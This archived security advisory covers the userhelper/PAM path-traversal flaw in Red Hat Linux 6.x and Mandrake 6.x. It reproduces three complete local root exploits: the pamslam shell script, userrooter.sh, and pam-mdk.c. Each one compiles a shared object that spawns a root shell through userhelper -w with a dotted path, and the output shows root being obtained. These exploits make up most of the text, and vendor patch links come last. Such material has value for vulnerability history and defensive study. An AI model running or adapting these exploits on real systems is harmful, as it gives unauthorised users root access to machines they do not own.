COMMAND
userhelper and PAM
SYSTEMS AFFECTED
Redhat Linux 6.0/6.1
PROBLEM
Following is based on L0pht Security Advisory. Both 'pam' and
'userhelper' (a setuid binary that comes with the 'usermode-1.15'
rpm) follow .. paths. Since pam_start calls down to
_pam_add_handler(), we can get it to dlopen any file on disk.
'userhelper' being setuid means we can get root.
The combination of the fact that both userhelper and PAM follow ..
paths allows us to craft up a file that causes userhelper (by way
of PAM) to dlopen any shared object we want as root. The exploit
is simple, and utilizes the '-w' option of userhelper, which lets
us specify a program to run with the privileges designated by PAM.
This tries to only execute programs that have entries in
/etc/security/console.apps, but since we get to specify the name,
something like ../../../tmp/myprog gets us a file open path that
looks like /etc/security/console.apps/../../../tmp/myprog.
"strcat" is not a good way to keep a filename below a directory!
After this hurdle, PAM is called to start up the binary, and it
does the same thing, looking for the filename in /etc/pam.d. If
we've placed a rogue pam.d configuration file in /tmp/myprog, then
it can be pointed to /etc/pam.d/../../../tmp/myprog. In the
pam.d configuration file, we get to pick a few shared libraries
to dlopen, so at this point, we get root.
The following exploit demonstrates this vulnerability by creating
a 'rootshell library' that creates a shell when dlopened, creating
a pam.d-style configuration file, and then running userhelper with
the appropriately dotted path. Exploit:
#!/bin/sh
#
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
# found by dildog@l0pht.com
#
# synopsis:
# both 'pam' and 'userhelper' (a setuid binary that comes with the
# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
# _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
# being setuid means we can get root.
#
# fix:
# No fuckin idea for a good fix. Get rid of the .. paths in userhelper
# for a quick fix. Remember 'strcat' isn't a very good way of confining
# a path to a particular subdirectory.
#
# props to my mommy and daddy, cuz they made me drink my milk.
cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
setuid(geteuid());
system("/bin/sh");
}
EOF
echo -n .
echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf
echo -n .
gcc -fPIC -o _pamslam.o -c _pamslam.c
echo -n o
ld -shared -o _pamslam.so _pamslam.o
echo -n o
chmod 755 _pamslam.so
echo -n O
rm _pamslam.c
rm _pamslam.o
echo O
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
sleep 1s
rm _pamslam.so
rm _pamslam.conf
Derek Callaway posted another userhelper/PAM exploit:
#!/bin/sh
# userrooter.sh by S <super@innu.org>
# RedHat PAM/userhelper(8) exploit
# Hi to inNUENdo!
LAME=`rpm -qf /usr/sbin/userhelper | awk -F'-' '{print $2}' | awk -F'.' '{print $2}'`
if [ $LAME -gt 15 ]
then echo "Machine doesn't appear to be vulnerable :-\\"
echo "Trying anyway..."
fi
cat << EOF >/tmp/hello-root.c
#include<unistd.h>
#include<stdlib.h>
void pam_sm_authenticate(void){
setuid(0);
puts("userrooter by S");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
void pam_sm_setcred(void){
setuid(0);
puts("userrooter by S");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
EOF
cat << EOF >/tmp/login
#%PAM-1.0
auth required /tmp/pamper.so
EOF
gcc -shared -fPIC -O2 -o /tmp/pamper.so /tmp/hello-root.c
rm /tmp/hello-root.c
chmod 0700 /tmp/login
/usr/sbin/userhelper -w ../../../tmp/login
rm /tmp/pamper.so
rm /tmp/login
or
/*
* pam-mdk.c (C) 2000 Paulo Ribeiro
*
* DESCRIPTION:
* -----------
* Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
* exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
* I created this C program based on it which exploits PAM/userhelper
* and gives you UID 0.
*
* SYSTEMS TESTED:
* --------------
* Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
*
* RESULTS:
* -------
* [prrar@linux prrar]$ id
* uid=501(prrar) gid=501(prrar) groups=501(prrar)
* [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
* [prrar@linux prrar]$ ./pam-mdk
* sh-2.03# id
* uid=0(root) gid=501(prrar) groups=501(prrar)
* sh-2.03#
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
FILE *fp;
strcpy(argv[0], "vi test.txt");
fp = fopen("abc.c", "a");
fprintf(fp, "#include<stdlib.h>\n");
fprintf(fp, "#include<unistd.h>\n");
fprintf(fp, "#include<sys/types.h>\n");
fprintf(fp, "void _init(void) {\n");
fprintf(fp, "\tsetuid(geteuid());\n");
fprintf(fp, "\tsystem(\"/bin/sh\");\n");
fprintf(fp, "}");
fclose(fp);
system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
system("chmod 755 abc.conf");
system("gcc -fPIC -o abc.o -c abc.c");
system("ld -shared -o abc.so abc.o");
system("chmod 755 abc.so");
system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
system("rm -rf abc.*");
}
/* pam-mdk.c: EOF */
It appears that Mandrake 6.0 is vulnerable too:
[darron@maul darron]$ gcc pam-mdk.c -o pam-mdk
[darron@maul darron]$ ./pam-mdk
sh-2.03# id
uid=0(root) gid=502(admin) groups=502(admin)
sh-2.03#
[darron@maul /etc]$ cat mandrake-release
Linux Mandrake release 6.0 (Venus)
SOLUTION
Download the fix from RedHat at:
Intel:
ftp://updates.redhat.com/6.1/i386/pam-0.68-10.i386.rpm
ftp://updates.redhat.com/6.1/i386/usermode-1.17-1.i386.rpm
Alpha:
ftp://updates.redhat.com/6.1/alpha/pam-0.68-10.alpha.rpm
ftp://updates.redhat.com/6.1/alpha/usermode-1.17-1.alpha.rpm
Sparc:
ftp://updates.redhat.com/6.1/sparc/pam-0.68-10.sparc.rpm
ftp://updates.redhat.com/6.1/sparc/usermode-1.17-1.sparc.rpm
Source packages:
ftp://updates.redhat.com/6.1/SRPMS/pam-0.68-10.src.rpm
ftp://updates.redhat.com/6.1/SRPMS/usermode-1.17-1.src.rpm
For Turbo Linux:
rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/security/pam-0.72-5.i386.rpm
rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-5.src.rpm
The source rpms can be downloaded here:
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-3.src.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/usermode-1.18-1.src.rpm